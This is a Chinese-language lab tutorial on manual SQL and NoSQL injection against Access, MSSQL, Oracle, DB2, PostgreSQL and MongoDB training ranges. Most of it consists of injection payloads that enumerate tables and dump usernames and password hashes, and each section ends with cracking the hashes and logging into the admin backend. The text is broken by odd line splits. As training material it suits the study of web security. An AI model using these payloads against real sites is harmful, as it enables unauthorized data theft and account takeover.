一.ACCESS手工注入
1.环境搭建
启动iis服务
器 并浏览根⽬录 将压缩包解压到根⽬录下⾯
这个压缩包是我们需要搭建⽹站的压缩包,将这个压缩包解压到⽹站根⽬录下
获得⼀堆⽂件夹 我们环境所需要的是1111⽂件夹 将1111⽂件夹⾥⾯的所有东⻄放到根⽬录下⾯
回到iis服务器点击绑定来绑定服务器地址
选择本机wlan 或者eth0 或者随机⼀个⽹卡的ip都⾏
然后去浏览器访问绑定的ip地址/index.asp
需要注意的⼏点
2.access注入实战
打开⽹⻚判断是否存在注⼊
news_view.asp?id=11' //
报错
news_view.asp?id=1 and 1=1 //
正常
news_view.asp?id=1 and 1=2 //
错误
order by判断列数 当order by 7的时候⻚⾯正常 order by 8的时候⻚⾯报错 说明有7个字段
news_view.asp?id=1 order by 7 //
⻚⾯正常
news_view.asp?id=1 order by 8 //
⻚⾯报错。说明有
7
列
猜表
news_view.asp?id=11 and exists(select * from
表名
) //
判断某个表是否存在
news_view.asp?id=11 and exists(select * from admin) //
从
admin
表中查询数据,页面不正常,说明不存在admin
表
news_view.asp?id=11 and exists(select * from users) //
从
users
表中查询数据,页面不正常,说明不存在admin
表
news_view.asp?id=11 and exists(select * from administrator) //
从
administrator表中查询数据,页面正常,说明查到数据了
判断回显位置
news_view.asp?id=11 union select 1,2,3,4,5,6,7 //页面
报错,不符合
access
语法,
select 列
from
表
news_view.asp?id=11 union select 1,2,3,4,5,6,7 from administrator //页面
正常
猜字段名
可能的字段名有: username user_name user ,password passwd pwd pass_wd pass_word admin_name admin_username admin_user admin_passwd admin_pwd ...........
news_view.asp?id=14 union select 1,username,3,4,5,6,7 from administrator // 报错,说明没有username
列
news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator //正常,说明存在这⼀列
然后去回显点
3
查询密码列
news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administ rator //成功查到密码
密码进⾏md5解密 并去后台登录 后台地址爆破⼀下
⼆:MSSQL手工注入
在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型
http
://
172.16.1.34
/
less
-
1
.
asp
?
id
=
1
http
://
172.16.1.34
/
less
-
1
.
asp
?
id
=
1
%
27
http
://
172.16.1.34
/
less
-
1
.
asp
?
id
=
1
%
27--
可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是 MSSQL;也可根据⻚⾯报错信息来判断数据库
'and exists(select * from sysobjects) --+
'and exists(select count(*)from sysobjects) --+
查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限
union select user
,
null
,
null
user
:
查询⽤户
db_name
():
查询数据库名
@@
version
:
查询版本信息
通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1 --+
xtype
=
char
(
85
)
//
xtype
=
字符的
ASCII
值
#
查看不存在表名,返回其他表信息
第⼆张表:
-
1
'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='
users
')--+ //emails
第三张表:
-
1
'and 1=(select top 1 name from sysobjects where xtype='U' and name !='
users
' and name !='
emails
')--+ //uagents
第四张表:
-
1
'and 1=(select top 1 name from sysobjects where xtype='U' and name !='
users
' and name !='
emails
' and name!='
uagents
')--+ //referers
第五张表:
-
1
'and 1=(select top 1 name from sysobjects where xtype='U' and name !='
users
' and name !='
emails
' and name !='
uagents
' and name !='
referers
')--+ //
返回结果为空,说明不知道第五张表
通过以下语句爆出表下的所有字段信息
#payload
'having 1=1--+
'group by
字段名
1 having 1=1--+
'group by
字段名
1
,字段名
2 having 1=1--+
#
字段名
id
,
username
,
password
爆字段值
#
查询字段数据
1
'order by 3-- //
回显正常
1
'order by 4-- //
回信错误
#
回显存在内容的字段
-
1
'union select 1,2,3 from users--
#
查询字段内容
-
1
' union all select 1,(select top 1 username from users),'
3
'--+
-
1
' union all select 1,2,(select top 1 password from users)--+
三:Oracle手工注入
此次靶场地址为:
墨者学院(
SQL手工注入漏洞测试(Oracle数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 (mozhe.cn)https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
)
启动靶场环境
跟其他数据库⼀样,检测注⼊点都是可以通过拼接and语句进⾏判断。这⾥通过and 1=1 和and 1=2进⾏判断。
new_list
.
php
?
id
=
1
and
1
=
1
new_list
.
php
?
id
=
1
and
1
=
2
通过order by来判断字段数。因为order by 2⻚⾯正常,order by 3⻚⾯不正常,故判断当前字段数为2
new_list
.
php
?
id
=
1
order by
2
new_list
.
php
?
id
=
1
order by
3
:获取显错点,联合查询这⾥使⽤了union select,oracle数据库与mysql数据库不同点在于它对
于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段
使⽤字符型数据,整型字段使⽤整型数据才可以。如下,两个字段都为字符型,故使⽤ union select ‘null’,‘null’ 。
(
在有些情况下也采⽤union all select的形式进⾏联合查询。union all select与union select的不同
点可以很容易理解为all表示输出所有,也就是当数据出现相同时,将所有数据都输出;union
select则会将相同数据进⾏过滤,只输出其中⼀条。
)
#
联合查询
new_list
.
php
?
id
=-
1
union select null
,
null
from
dual
//
dual
为伪表
#
修改
null
为
'null'
,判断字段类型均为字符型
new_list.php?id=-1 union select 'null','null' from dual
查询数据库表名,查询表名⼀般查询admin或者user表
#
获取第⼀个表名
LOGMNR_SESSION_EVOLVE$
new_list
.
php
?
id
=-
1
union select
'null'
,(
select table_name
from
user_tables
where rownum=
1
)
from
dual
#
获取第⼆个表名
LOGMNR_GLOBAL$
new_list
.
php
?
id
=-
1
union select
'null'
,(
select table_name
from
user_tables
where rownum=
1
and
table_name
not in
'LOGMNR_SESSION_EVOLVE$'
)
from
dual
#
获取第三个表名
LOGMNR_GT_TAB_INCLUDE$
new_list
.
php
?
id
=-
1
union select
'null'
,(
select table_name
from
user_tables
where rownum=
1
and
table_name
not in
'LOGMNR_SESSION_EVOLVE$'
and
table_name
not in
'LOGMNR_GLOBAL$'
)
from
dual
#
模糊搜索查询
.
获取
sns_users
表名
new_list
.
php
?
id
=-
1
union select
'null'
,(
select table_name
from
user_tables
where table_name
like
'%user%'
and
rownum
=
1
)
from
dual
查询数据库列名
#
直接查询
new_list
.
php
?
id
=-
1
union select
'null'
,(
select column_name
from
user_tab_columns
where table_name=
'sns_users'
and
rownum
=
1
)
from
dual
new_list
.
php
?
id
=-
1
union select
'null'
,(
select column_name
from
user_tab_co lumns
where rownum=
1
and
column_name
not in
'USER_NAME'
)
from
dual
new_list
.
php
?
id
=-
1
union select
'null'
,(
select column_name
from
user_tab_co lumns
where rownum=
1
and
column_name
not in
'USER_NAME'
and
column_name
not in
'AGENT_NAME'
)
from
dual
new_list
.
php
?
id
=-
1
union select
'null'
,(
select column_name
from
user_tab_columns
where rownum=
1
and
column_name
not in
'USER_NAME'
and
column_name
not in
'AGENT_NAME'
and
column_name
not in
'PROTOCOL'
and
column_name
not in
'SPARE1'
and
column_name
not in
'DB_USERNAME'
and
column_name
not in
'OID'
and
column_name
<>
'EVENTID'
and
column_name
<>
'NAME'
and
column_name
<>
'TABLE_OBJNO'
)
from
dual
#
模糊搜索查询
new_list
.
php
?
id
=-
1
union select
'null'
,(
select column_name
from
user_tab_columns
where table_name=
'sns_users'
and
rownum
=
1
and
column_name like
'%USER%'
)
from
dual
new_list
.
php
?
id
=-
1
union select
'null'
,(
select column_name
from
user_tab_co lumns
where table_name=
'sns_users'
and
rownum
=
1
and
column_name like
'%USER%'
and
column_name
<>
'USER_NAME'
)
from
dual
查询数据库数据获取账号密码的字段内容
new_list
.
php
?
id
=-
1
union select USER_NAME
,
USER_PWD
from
"sns_users"
where
rownum=
1
new_list
.
php
?
id
=-
1
union select USER_NAME
,
USER_PWD
from
"sns_users"
where
rownum=
1
and
USER_NAME
<>
'zhong'
new_list
.
php
?
id
=-
1
union select USER_NAME
,
USER_PWD
from
"sns_users"
where
rownum=
1
and
USER_NAME
<>
'zhong'
and
USER_NAME
not in
'hu'
对其数据库内的字段内容进⾏解密....进⾏后台登录
四:DB2手工注入
此次靶场地址为:
墨者学院
确定字段数
/new_list.php?id=1 order by 4 //
正常页面
/new_list.php?id=1 order by 5 //
错误页面
使⽤联合查询注⼊来确认回显位..在第2位和第3位上存在字段内容
id=-1 union select 1,2,3,4 from syscat.tables
查看数据库信息并爆库名
#
基础知识
sysibm.sysdummy1
表是
DB2
数据库中的系统表,存放着系统的相关信息
*
Select CURRENT DATE FROM SYSIBM.SYSDUMMY1 --
返回当前系统⽇期
*
Select NEXTVAL FOR MYSEQ FROM SYSIBM.SYSDUMMY1 --
得到序列值
*
SELECT 1+1 FROM SYSIBM.SYSDUMMY1 --
执⾏数学运算
#
获取当前数据库名称
--
》
DB2INST1
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
或者
id=-1 union select 1,current schema,current server,4 from syscat.tables
爆表并
确定表名为
GAME_CHARACTER
、
NOTICE
表
#
爆表
爆表可以使⽤的表可以是
syscat.tables
,也可以是
syscat.columns
、
sysibm.columns
表
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1
或者
id=-1 union select 1,table_name,column_name,4 from sysibm.columns where table_schema=current schema limit 1,1
#
猜表数量
id=1 and 1<(select count(NAME) from SYSIBM.SYSTABLES where CREATOR=USER)
//
猜⽤户表数量
#
猜表⻓度
id=1 and 6<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in('C
OLUMNS') fetch first 1 rows only) //
猜表⻓度
爆列且可以使⽤的表可以是syscat.columns,也可以是sysibm.columns表...且确定其字
段为
ID
、
NAME
、
PASSWORD
、
STATUS
id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
或者
id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1
爆字段值并获取其Key
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1
id=-1 union select 1,name,password,4 from GAME_CHARACTER limit 1,1
解密--》登录后台--》获取其Flag
五:PostGREsql手工注入
查看是否存在注⼊点...构造Payload;
回显没有显示数据,代表“and 1=2”语句拼接到了后端数据库查询语句当中
new_list.php?id=1 and 1=2
开始猜解后端收据库能够返回多少个字段..发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个
#
Payload
new_list.php?id=1 order by 4
new_list.php?id=1 order by 5
#
注释信息
Order by
是数据库查询的时候对结果进⾏的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后⾯写的是数字,该数字⼤于所查询的字段数,则就会报错,小于的话就不会报错。
开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段。
#
Payload
new_list.php?id=1 and 1=2 union select 'null',null,null,null //
⽆回显
new_list.php?id=1 and 1=2 union select null,'null',null,null //
有回显
new_list.php?id=1 and 1=2 union select null,null,'null',null //
有回显
new_list.php?id=1 and 1=2 union select null,null,null,'null' //
⽆回显
在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前用户以及数据库的版本
current_database() //
当前数据库
current_user //
当前⽤户
version() //
版本信息
#
爆所有的数据库
new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
其中
string_agg(datname,',')
是将查询到的数据库名用
“,”
拼接起来,
pg_database
存储了所有的数据库名。
构造Payload爆指定数据库下的表名
#
Payload
new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'
new_list.php?id=1 and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'
#
注释
其中
pg_tables
,
pg_stat_user_tables
,
information_schema.tables
存储了所有的表名,
public
是⼀种模式,
Postgresql
查表的限制都是
public
此时我们已经得到了表并开始查询字段,由于查询到的第⼆个表名带有“user”,我们就先
查询它
new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
其中
information_schema.columns
为⼀个存放了所有表字段的⼀张表
查询到字段以后,最后⼀步就是爆出数据了且如下构造payload
new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
解密--》登录后台--》获取其Flag
六:MongoDB手工注入
靶场地址:
墨者学院
如下给出的源码...可以看到数据库查询的语句如下..构造回显测试...
#
查询语句
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是
$id
。注意到可以通过闭合
“({‘”
来构造
payload
因为返回的数据是
$obj
[
‘retval’
]
[‘title’]
与
$obj
[
‘retval’
]
[‘content’]
,可以尝试
return({title:’1’,content:’2’})来构造回显测试
#
Payload
new_list.php?id=1'});return ({title:'1',content:'2
成功显示“1”和“2”。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询当前数据库。通过回显观察到数据库为 mozhe_cms_Authority
其中tojson是可以把数据变成json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority
#
Payload
new_list.php?id=1'});return({title:tojson(db),content:'2
得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中
db.getCollectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。
#
Payload
new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'2
这样数据库的表名就被爆出来了,⼀共有三个表,分别为:
Authority_confidential 、
notice
、
system_indexes
。最后我们就可以直接选取某个表爆出其中的数据了
#
Payload
new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()
[
0
]
),content:'2
#
注释
Payload
中的
“db.Authority_confidential.find()
[
0
]
” db
代表当前数据库,
Authority_confidential 代表当前所要查询的表,
find()
查询函数,返回查询的结果,
[
0
]
代表取索引为
0
的数据。当然我们也可以将其改为1
、
2...
直到查询不到数据为止。
最终我们就可以获得数据了,将密码进行MD5解密,返回登录页进行登录,划倒页面最下
端就可以看到KEY了。如果第⼀个用户账号密码登录不了,我们就改变查询的索引“find()[1]”查询
其他的⽤户账号密码登录即可